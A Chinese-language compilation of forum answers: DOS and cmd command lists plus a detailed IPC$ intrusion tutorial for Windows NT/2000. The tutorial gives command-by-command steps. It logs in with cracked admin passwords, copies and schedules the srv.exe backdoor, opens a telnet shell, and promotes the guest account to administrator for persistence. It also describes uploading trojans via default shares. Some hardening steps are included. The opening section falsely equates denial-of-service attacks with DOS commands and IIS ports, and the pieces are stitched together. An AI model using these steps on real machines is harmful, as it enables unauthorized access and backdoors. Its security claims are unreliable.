1. dos攻擊命令與如何防護
dos攻擊命令有一個前提，攻擊方需要能夠和你的電腦進行連接，並使用命令登陸你的電腦。 dos攻擊主要有拒絕伺服器攻擊和分布式拒絕伺服器攻擊。 原理很簡單，攻擊者通過掃描你電腦上面開放的可用埠，然後進行遠程訪問，並修改你電腦上的文件。 防護方法：如果你沒有使用電腦的IIS功能，基本上是不會被攻擊到的。因為比較常用的開放式交互埠是在IIS組件裡面配置。例如ftp,網站，SMTP......而在默認情況下這些埠都是沒被配置的。所以不必擔心。 在你配置了IIS組件的前提下，防護的方法是設置訪問為口令式訪問。若口令沒有遺失的情況下，相對來說你的系統是比較安全的（當然，其他的攻擊方式不在此例。）。
2. 我想學一些DOS命令誰能告訴我一下
dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄
拷貝文件 disk 復制磁碟 del 刪除文件 format 格式化磁碟
edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名
more 分屏顯示 type 顯示文件內容 rd 刪除目錄 sys 製作DOS系統盤
ren 改變文件名 x 拷貝目錄與文件 chkdsk 檢查磁碟 attrib 設置文件屬性
fdisk 硬碟分區 date 顯示及修改號期 label 設置卷標號 defrag 磁碟碎片整理
msd 系統檢測 path 設置搜尋目錄 share 文件共享 memmaker內存優化管理
help 幫助 restore 恢復備份文件 set 設置環境變數 time 顯示及修改時間
tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁碟
不常用DOS命令
diskcomp磁碟比較 append 設置非執行文件路徑
expand 還原DOS文件 fasthelp快速顯示幫助信息
fc 文件比較 interink啟動伺服器
setver 設置版本 intersvr啟動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁碟
ver 顯示DOS版本號 smartdrv設置磁碟加速器
vol 顯示磁碟卷標號 lh 將程序裝入高端內存
ctty 改變控制設備 emm386 擴展內存管理
常用命令具體介紹:
一、Dir 顯示目錄文件和子目錄列表，呵呵，這個當然是人人要知道的。 可以使用通配符（? 和 *），？表通配一個字元，*表通配任意字元
*.後綴 指定要查看後綴的文件。 上面其實也可以為「 . 後綴」,例如dir *.exe 等於dir .exe
/p 每次顯示一個列表屏幕。要查看下一屏，請按鍵盤上的任意鍵。
/w 以寬格式顯示列表，在每一行上最多顯示 5 個文件名或目錄名。
/s 列出指定目錄及所有子目錄中出現的每個指定的文件名。比win環境下的查找快多了
dir *.* -> a.txt 把當前目錄文件列表寫入a.txt
dir *.* /s -> a.txt 把當前目錄文件列表寫入a.txt，包括子目錄下文件。 二、Attrib 顯示、設置或刪除指派給文件或目錄的只讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用，則 attrib 會顯示當前目錄中所有文件的屬性。
+r 設置只讀屬性。
-r 清除只讀屬性。
+a 設置存檔文件屬性。
-a 清除存檔文件屬性。
+s 設置系統屬性。
-s 清除系統屬性。
+h 設置隱藏屬性。
-h 清除隱藏屬性。 三、Cls 清除顯示在命令提示符窗口中的所有信息，並返回空窗口，即「清屏」 四、Exit 退出當前命令解釋程序並返回到系統。 五、format 格式化
/q 執行快速格式化。刪除以前已格式化卷的文件表和根目錄，但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。 六、Ipconfig 顯示所有當前的 TCP/IP 網路配置值、刷新動態主機配置協議 (DHCP) 和域名系統 (DNS) 設置。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all 顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價於 winipcfg，後者在ME、98 和 95 上可用。盡管 Windows XP 沒有提供象 winipcfg 命令一樣的圖形化界面，但可以使用「網路連接」查看和更新 IP 地址。要做到這一點，請打開 網路連接，右鍵單擊某一網路連接，單擊「狀態」，然後單擊「支持」選項卡。 該命令最適用於配置為自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。 七、md 創建目錄或子目錄 八、Move 將一個或多個文件從一個目錄移動到指定的目錄。 九、NBTstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 N
etBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和注冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename 顯示遠程計算機的 NetBIOS 名稱表，其中，RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress 顯示遠程計算機的 NetBIOS 名稱表，其名稱由遠程計算機的 IP 地址指定（以小數點分隔）。 十、Netstat 顯示活動的 TCP 連接、計算機偵聽的埠、乙太網統計信息、IP 路由表、IPv4 統計信息（對於 IP、ICMP、TCP 和 UDP 協議）以及 IPv6 統計信息（對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議）。使用時如果不帶參數，netstat 顯示活動的 TCP 連接。
-a 顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 埠。 十一、Ping 通過發送「網際消息控制協議 (ICMP)」回響請求消息來驗證與另一台 TCP/IP 計算機的 IP 級連接。回響應答消息的接收情況將和往返過程的次數一起顯示出來。Ping 是用於檢測網路連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數，ping 將顯示幫助。名稱和Ip地址解析是它的最簡單應用也是用的最多的。
-t 指定在中斷前 ping 可以持續發送回響請求信息到目的地。要中斷並顯示統計信息，請按 CTRL-BREAK。要中斷並退出 ping，請按 CTRL-C。
-lSize 指定發送的回響請求消息中「數據」欄位的長度（以位元組表示）。默認值為 32。size 的最大值是 65,527。 十二、Rename (Ren) 更改文件的名稱。 例如 ren *.abc *.cba 十三、Set 顯示、設置或刪除環境變數。如果沒有任何參數，set 命令將顯示當前環境設置。 十四、Shutdown 允許您關閉或重新啟動本地或遠程計算機。如果沒有使用參數，shutdown 將注銷當前用戶。
-m ComputerName 指定要關閉的計算機。
-t xx 將用於系統關閉的定時器設置為 xx 秒。默認值是 20 秒。
-l 注銷當前用戶，這是默認設置。-m ComputerName 優先。
-s 關閉本地計算機。
-r 關閉之後重新啟動。
-a 中止關閉。除了 -l 和 ComputerName 外，系統將忽略其它參數。在超時期間，您只可以使用 -a。 十五、System File Checker (sfc)
win下才有，在重新啟動計算機後掃描和驗證所有受保護的系統文件。
/scannow 立即掃描所有受保護的系統文件。
/sCanonce 一次掃描所有受保護的系統文件。
/purgecache 立即清除「Windows 文件保護」文件高速緩存，並掃描所有受保護的系統文件。
/cachesize=x 設置「Windows 文件保護」文件高速緩存的大小，以 MB 為單位。 十六、type 顯示文本文件的內容。使用 type 命令查看文本文件或者是bat文件而不修改文件 十七、Tree 圖像化顯示路徑或驅動器中磁碟的目錄結構。 十八、X 復制文件和目錄，包括子目錄。
/s 復制非空的目錄和子目錄。如果省略 /s，x 將在一個目錄中工作。
/e 復制所有子目錄，包括空目錄。 十九、 將一個或多個文件從一個位置復制到其他位置 二十、del 刪除指定文件。
ftp和bat批命令和net和telnet由於子命令太多，這里不說了，不過這幾個都是常用到的。
IPC$命令詳解:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!
二 什麼是ipc$
IPC$(Internet Process ConNECtion)是共享"命名管道"的資源(大家都是這么說的)，它是為了讓進程間通信而開放的命名管道，可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的)，而利用這個空的連接，連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網路登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$，訪問共享資源,導出用戶列表,並使用一些字典工具，進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的.
解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網路登陸功能，其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數，所以不能在Windows 9.x中運行。也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接
3)並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表
三 建立ipc$連接在hack攻擊中的作用就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有一定許可權的用戶身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server，還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行連接,你會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.
四 ipc$與空連接,139,445埠,默認共享的關系以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)
1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何許可權(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445埠:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享文件/列印機的訪問,因此一般來講,ipc$連接是需要139或445埠來支持的.
3)ipc$與默認共享默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)
五 ipc$連接失敗的原因以下5個原因是比較常見的:
1)你的系統不是NT或以上****作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445埠(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因： 錯誤號5，拒絕訪問 ： 很可能你使用的用戶不是管理員許可權的，先提升許可權； 錯誤號51，Windows 無法找到網路路徑 : 網路有問題； 錯誤號53，找不到網路路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）； 錯誤號67，找不到網路名 ： 你的lanmanworkstation服務未啟動；目標刪除了ipc$； 錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 你已經和對方建立了一個ipc$，請刪除再連。 錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了； 錯誤號1792，試圖登錄，但是網路登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況） 錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜，除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就*大家自己體會和試驗了.
<br>六 如何打開目標的IPC$(此段引自相關文章) 首先你需要獲得一個不依賴於ipc$的shell，比如sql的cmd擴展、telnet、木馬,當然，這shell必須是admin許可權的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎麼做的請看net命令的用法）,還是不行的話（比如有防火牆，殺不了）建議放棄。
七 如何防範ipc$入侵
1禁止空連接進行枚舉(此****作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit，找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為：00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)
2禁止默認共享
1）察看本地共享資源運行-cmd-輸入net share
2）刪除共享(每次輸入一個）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以繼續刪除）
3）停止server服務
net stop server /y （重新啟動後server服務會重新開啟）
4）修改注冊表運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的鍵值改為:00000000。 如果上面所說的主鍵不存在，就新建(右擊-新建-雙位元組值）一個主健再改鍵值。
3永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務控制面板-管理工具-服務-找到server服務（右擊）-屬性-常規-啟動類型-已禁用
4安裝防火牆(選中相關設置)，或者埠過濾(濾掉139,445等),或者用新版本的優化大師
5設置復雜密碼，防止通過ipc$窮舉密碼
八 相關命令
1)建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)
2)建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)
3)映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤，其他盤類推)
如果已經和目標建立了ipc$，則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$
4)刪除一個ipc$連接
net&nbs
p;use \\IP\ipc$ /del
5)刪除共享映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del 刪除全部,會有提示要求按y確認
九 經典入侵模式這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)
11. C:\>net use \\127.0.0.1\IPC$ "密碼" /user:"用戶名"
一般用流光，通過掃描弱口令來得到，管理員帳號和密碼.
2. C:\> srv.exe \\127.0.0.1\admin$
先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤與D盤，這看你要復制到什麼地方去了）。
3. C:\>net time \\127.0.0.1
查查時間，發現127.0.0.1 的當前時間是 2004/6/15 上午 11:00，命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧
5. C:\>net time \\127.0.0.1
再查查到時間沒有？如果127.0.0.1 的當前時間是 2004/6/15 上午 11:05，那就准備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧，注意埠是99。Telnet默認的是23埠，但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打算建立一個Telnet服務！這就要用到ntlm了
7.C:\> ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。
8. C:\WINNT\system32>ntlm 輸入ntlm啟動（這里的C:\WINNT\system32>指的是對方計算機，運行ntlm其實是讓這個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務！
9. Telnet 127.0.0.1，接著輸入用戶名與密碼就進入對方了，****作就像在DOS上****作一樣簡單！(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net locaLGroup administrators guest /add
將Guest變為Administrator(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這台計算機)
ipc$常見問題:
1，怎樣建立空連接，它有什麼用？ 答：使用命令 net use \IPipc$ "" /user:"" 就可以簡單地和目標建立一個空連接（需要目標開放ipc$）。
對於NT，在默認安全設置下，藉助空連接可以列舉目標用戶、共享，訪問everyone許可權的共享，訪問小部分注冊表等，沒有什麼利用價值。對2000作用就更小了。而且實現也不方便，需藉助工具。
2.為什麼我連不上IPC$？ 答：1.只有nt/2000/xp及以上系統才可以建立ipc$。如果你用的是98/me是沒有該功能的。
2.確認你的命令沒有打錯。正確的命令是： net use \目標IPipc$ "密碼" /user:"用戶名" 注意別多了或少了空格。當用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。
3，根據返回的錯誤號分析原因： 錯誤號5，拒絕訪問 ： 很可能你使用的用戶不是管理員許可權的，先提升許可權； 錯誤號51，Windows 無法找到網路路徑 : 網路有問題； 錯誤號53，找不到網路路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）； 錯誤號67，找不到網路名 ： 你的lanmanworkstation服務未啟動；目標刪除了ipc$； 錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 你已經和對方建立了一個ipc$，請刪除再連。 錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了； 錯誤號1792，試圖登錄，但是網路登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況） 錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。
4，關於ipc$連不上的問題比較復雜，沒有總結出一個統一的認識，在肉雞上實驗有時會得出矛盾的結論，十分棘手。而且知道了問題所在，如果沒有用其他辦法獲得shell，很多問題依然不能解決。
5，怎樣打開目標的IPC$？ 答：首先你需要獲得一個不依賴於ipc$的shell，比如sql的cmd擴展、telnet、木馬。當然，這shell必須是admin許可權的。然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上一問題可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎麼做的請看net命令的用法）。還是不行的話（比如有防火牆，殺不了）建議放棄。
6，怎樣映射和訪問默認共享？ 答：使用命令 net use z: \目標IPc$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤，其他盤類推。 如果已經和目標建立了ipc$，則可以直接用IP加盤符加$訪問。比如 muma.exe \IPd$pathmuma.exe 。或者再映射也可以，只是不用用戶名和密碼了：net use y: \IPd$ 。然後 muma.exe y:pathmuma.exe 。當路徑中包含空格時，須用""將路徑全引住。
7，如何刪除映射和ipc$連接？ 答：用命令 net use \IPipc$ /del 刪除和一個目標的ipc$連接。 用命令 net use z: /
del 刪除映射的z盤，其他盤類推。
用命令 net use * /del 刪除全部。會有提示要求按y確認。
8，連上ipc$然後我能做什麼？
答：能使用管理員許可權的帳號成功和目標連接ipc$，表示你可以和對方系統做深入「交流」了。你可以使用各種命令行方式的工具（比如pstools系列、Win2000SrvReskit、telnethack等）獲得目標信息、管理目標的進程和服務等。如果目標開放了默認共享（沒開你就幫他開），你就可以上傳木馬並運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具（木馬）還具有直接控屏的功能。如果是2000server，還可以考慮開啟終端服務方便控制。這里提到的工具的使用，請看自帶的說明或相關教程。
9，怎樣防止別人用ips$和默認共享入侵我？ 答：A、一種辦法是把ipc$和默認共享都刪除了。但重起後還會有。這就需要改注冊表。
1，先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del …………（有幾個刪幾個）
2，禁止別人空連接 首先運行regedit，找到如下主鍵[HKEY_LOCAL_]把RestrictAnonymous（DWORD）的鍵值改為：00000002。 3，禁止自動打開默認共享 對於server版，找到如下主鍵[HKEY_LOCAL_]把AutoShareServer（DWORD）的鍵值改為:00000000。 對於pro版，則是[HKEY_LOCAL_]把AutoShareWks（DWORD）的鍵值改為:00000000。 如果上面所說的主鍵不存在，就新建一個再改鍵值。
B、另一種是關閉ipc$和默認共享依賴的服務（不推薦）
net stop lanmanserver 可能會有提示說，XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。一般情況按y繼續就可以了。
C、最簡單的辦法是設置復雜密碼，防止通過ipc$窮舉密碼。但如果你有其他漏洞，ipc$將為進一步入侵提供方便。
D、還有一個辦法就是裝防火牆，或者埠過濾。
3. cmd裡面有什麼命令
開始→運行（cmd）命令大全（絕對經典）
CMD運行指令
開始→運行→CMD→鍵入以下命令即可:
gpedit.msc-----組策略 sndrec32-------錄音機
Nslookup-------IP地址偵測器 explorer-------打開資源管理器
logoff---------注銷命令 tsshutdn-------60秒倒計時關機命令
lusrmgr.msc----本機用戶和組 services.msc---本地服務設置
oobe/msoobe /a----檢查XP是否激活 notepad--------打開記事本
cleanmgr-------垃圾整理 net start messenger----開始信使服務
compmgmt.msc---計算機管理 net stop messenger-----停止信使服務
conf-----------啟動netmeeting dvdplay--------DVD播放器
charmap--------啟動字元映射表 diskmgmt.msc---磁碟管理實用程序
calc-----------啟動計算器 dfrg.msc-------磁碟碎片整理程序
chkdsk.exe-----Chkdsk磁碟檢查 devmgmt.msc--- 設備管理器
regsvr32 /u *.dll----停止dll文件運行 drwtsn32------ 系統醫生
rononce -p ----15秒關機 dxdiag---------檢查DirectX信息
regedt32-------注冊表編輯器 Msconfig.exe---系統配置實用程序
rsop.msc-------組策略結果集 mem.exe--------顯示內存使用情況
regedit.exe----注冊表 winchat--------XP自帶區域網聊天
progman--------程序管理器 winmsd---------系統信息
perfmon.msc----計算機性能監測程序 winver---------檢查Windows版本
sfc /scannow-----掃描錯誤並復原 winipcfg-------IP配置
taskmgr-----任務管理器（2000／xp／2003） command--------cmd
fsmgmt.msc 共享文件夾 netstat -an----查看埠
osk 屏幕鍵盤 install.asp----修改注冊網頁
eventvwr.msc 時間查看器
secpol.msc 本地安全設置
services.msc 服務
2K
accwiz.exe > 輔助工具向導
acsetups.exe > acs setup dcom server executable
actmovie.exe > 直接顯示安裝工具
append.exe > 允許程序打開制定目錄中的數據
arp.exe > 顯示和更改計算機的ip與硬體物理地址的對應列表
at.exe > 計劃運行任務
atmadm.exe > 調用管理器統計
attrib.exe > 顯示和更改文件和文件夾屬性
autochk.exe > 檢測修復文件系統
autoconv.exe > 在啟動過程中自動轉化系統
autofmt.exe > 在啟動過程中格式化進程
autolfn.exe > 使用長文件名格式
bootok.exe > boot acceptance application for registry
bootvrfy.exe > 通報啟動成功
cacls.exe > 顯示和編輯acl
calc.exe > 計算器
cdplayer.exe > cd播放器
change.exe > 與終端伺服器相關的查詢
charmap.exe > 字元映射表
chglogon.exe > 啟動或停用會話記錄
chgport.exe > 改變埠（終端服務）
chgusr.exe > 改變用戶（終端服務）
chkdsk.exe > 磁碟檢測程序
chkntfs.exe > 磁碟檢測程序
cidaemon.exe > 組成ci文檔服務
cipher.exe > 在ntfs上顯示或改變加密的文件或目錄
cisvc.exe > 索引內容
ckcnv.exe > 變換cookie
cleanmgr.exe > 磁碟清理
cliconfg.exe > sql客戶網路工具
clipbrd.exe > 剪貼簿查看器
clipsrv.exe > 運行clipboard服務
clspack.exe > 建立系統文件列表清單
cluster.exe > 顯示域的集群
_cmd_.exe > 沒什麼好說的！
cmdl32.exe > 自動下載連接管理
cmmgr32.exe > 連接管理器
cmmon32.exe > 連接管理器監視
cmstp.exe > 連接管理器配置文件安裝程序
comclust.exe > 集群
comp.exe > 比較兩個文件和文件集的內容＊
compact.exe > 顯示或改變ntfs分區上文件的壓縮狀態
conime.exe > ime控制台
control.exe > 控制面板
convert.exe > 轉換文件系統到ntfs
convlog.exe > 轉換iis日誌文件格式到ncsa格式
cprofile.exe > 轉換顯示模式
cscript.exe > 較本宿主版本
csrss.exe > 客戶伺服器runtime進程
csvde.exe > 日至格式轉換程序
dbgtrace.exe > 和terminal server相關
dcomcnfg.exe > dcom配置屬性
dcphelp.exe > ?
dcpromo.exe > ad安裝向導
ddeshare.exe > dde共享
ddmprxy.exe >
debug.exe > 就是debug啦！
dfrgfat.exe > fat分區磁碟碎片整理程序
dfrgntfs.exe > ntfs分區磁碟碎片整理程序
dfs_cmd_.exe > 配置一個dfs樹
dfsinit.exe > 分布式文件系統初始化
dfssvc.exe > 分布式文件系統伺服器
diantz.exe > 製作cab文件
diskperf.exe > 磁碟性能計數器
dllhost.exe > 所有com+應用軟體的主進程
dllhst3g.exe >
dmadmin.exe > 磁碟管理服務
dmremote.exe > 磁碟管理服務的一部分
dns.exe > dns applications dns
doskey.exe > 命令行創建宏
dosx.exe > dos擴展
dplaysvr.exe > 直接運行幫助
drwatson.exe > 華生醫生錯誤檢測
drwtsn32.exe > 華生醫生顯示和配置管理
dtcsetup.exe > installs mdtc
dvdplay.exe > dvd播放
dxdiag.exe > direct-x診斷工具
edlin.exe > 命令行的文本編輯器（歷史悠久啊！）
edlin.exe > 命令行的文本編輯器（歷史悠久啊！）
esentutl.exe > ms資料庫工具
eudcedit.exe > type造字程序
eventvwr.exe > 事件查看器
evnt_cmd_.exe > event to trap translator; configuration tool
evntwin.exe > event to trap translator setup
exe2bin.exe > 轉換exe文件到二進制
expand.exe > 解壓縮
extrac32.exe > 解cab工具
fastopen.exe > 快速訪問在內存中的硬碟文件
faxcover.exe > 傳真封面編輯
faxqueue.exe > 顯示傳真隊列
faxsend.exe > 發送傳真向導
faxsvc.exe > 啟動傳真服務
fc.exe > 比較兩個文件的不同
find.exe > 查找文件中的文本行
findstr.exe > 查找文件中的行
finger.exe > 一個用戶並顯示出統計結果
fixmapi.exe > 修復mapi文件
flattemp.exe > 允許或者禁用臨時文件目錄
fontview.exe > 顯示字體文件中的字體
forcedos.exe > forces a file to start in dos mode. 強制文件在dos模式下運行
freecell.exe > popular windows game 空當接龍
ftp.exe > file transfer protocol used to transfer files over a network conne
ction 就是ftp了
gdi.exe > graphic device interface 圖形界面驅動
grovel.exe >
grpconv.exe > program manager group convertor 轉換程序管理員組
help.exe > displays help for windows 2000 commands 顯示幫助
hostname.exe > display hostname for machine. 顯示機器的hostname
ie4uinit.exe > ie5 user install tool ie5用戶安裝工具
ieshwiz.exe > customize folder wizard 自定義文件夾向導
iexpress.exe > create and setup packages for install 穿件安裝包
iisreset.exe > restart iis admin service 重啟iis服務
internat.exe > keyboard language indicator applet 鍵盤語言指示器
ipconfig.exe > windows 2000 ip configuration. 察看ip配置
ipsecmon.exe > ip security monitor ip安全監視器
ipxroute.exe > ipx routing and source routing control program ipx路由和源路由
控製程序
irftp.exe > setup ftp for wireless communication 無線連接
ismserv.exe > intersite messaging service 安裝或者刪除service control manage
r中的服務
jdbgmgr.exe > microsoft debugger for java 4 java4的調試器
jetconv.exe > convert a jet engine database 轉換jet engine資料庫
jetpack.exe > compact jet database. 壓縮jet資料庫
jview.exe > command-line loader for java java的命令行裝載者
krnl386.exe > core component for windows 2000 2000的核心組件
label.exe > change label for drives 改變驅動器的卷標
lcwiz.exe > license compliance wizard for local or remote systems. 許可證符合
向導
ldifde.exe > ldif cmd line manager ldif目錄交換命令行管理
licmgr.exe > terminal server license manager 終端服務許可協議管理
lights.exe > display connection status lights 顯示連接狀況
llsmgr.exe > windows 2000 license manager 2000許可協議管理
llssrv.exe > start the license server 啟動許可協議伺服器
lnkstub.exe >
locator.exe > rpc locator 遠程定位
lodctr.exe > load perfmon counters 調用性能計數
logoff.exe > log current user off. 注銷用戶
lpq.exe > displays status of a remote lpd queue 顯示遠端的lpd列印隊列的狀態，
顯示被送到基於unix的伺服器的列印任務
lpr.exe > send a print job to a network printer. 重定向列印任務到網路中的列印
機。通常用於unix客戶列印機將列印任務發送給連接了列印設備的nt的列印機伺服器。
lsass.exe > lsa executable and server dll 運行lsa和server的dll
lserver.exe > specifies the new dns domain for the default server 指定默認se
rver新的dns域
os2.exe > an os/2 warp server (os2 /o) os/2
os2srv.exe > an os/2 warp server os/2
os2ss.exe > an os/2 warp server os/2
osk.exe > on screen keyboard 屏幕鍵盤
packager.exe > windows 2000 packager manager 對象包裝程序
pathping.exe > combination of ping and tracert 包含ping和tracert的程序
pax.exe > is a posix program and path names used as arguments must be specif
ied in posix format. use "//c/users/default" instead of "c:usersdefault."
啟動攜帶型存檔互換 (pax) 實用程序
pentnt.exe > used to check the pentium for the floating point division error
. 檢查pentium的浮點錯誤
